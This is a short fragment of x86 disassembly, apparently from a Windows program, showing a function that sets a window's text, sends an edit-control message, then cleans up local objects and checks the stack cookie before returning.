call dword [sym.imp.USER32.dll_SetWindowTextA]
lea eax, [ebx + 2]
push eax
push eax
push 0xb1
push dword [edi + 0x6fc]
call dword [sym.imp.USER32.dll_SendMessageA]
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x3c]
call fcn.00450480
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x48]
call fcn.00450480
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0044f18f
mov esp, ebp
pop ebp
ret